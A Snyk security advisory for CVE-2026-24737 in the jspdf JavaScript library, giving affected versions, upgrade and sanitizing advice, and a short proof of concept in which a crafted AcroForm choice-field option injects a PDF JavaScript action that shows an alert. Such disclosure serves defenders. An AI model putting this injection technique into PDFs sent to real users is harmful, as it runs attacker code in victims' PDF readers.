Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.1.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-JSPDF-15182650
- published4 Feb 2026
- disclosed2 Feb 2026
- creditAhmet Artuç
Introduced: 2 Feb 2026
NewCVE-2026-24737 (opens in a new tab)How to fix?
Upgrade jspdf to version 4.1.0 or higher.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, or AcroFormRadioButton.appearanceState functions. An attacker can execute arbitrary JavaScript code in the PDF reader's context by injecting malicious PDF objects, such as JavaScript actions, which are triggered when the user opens the PDF document.
Workaround
This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.
PoC
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");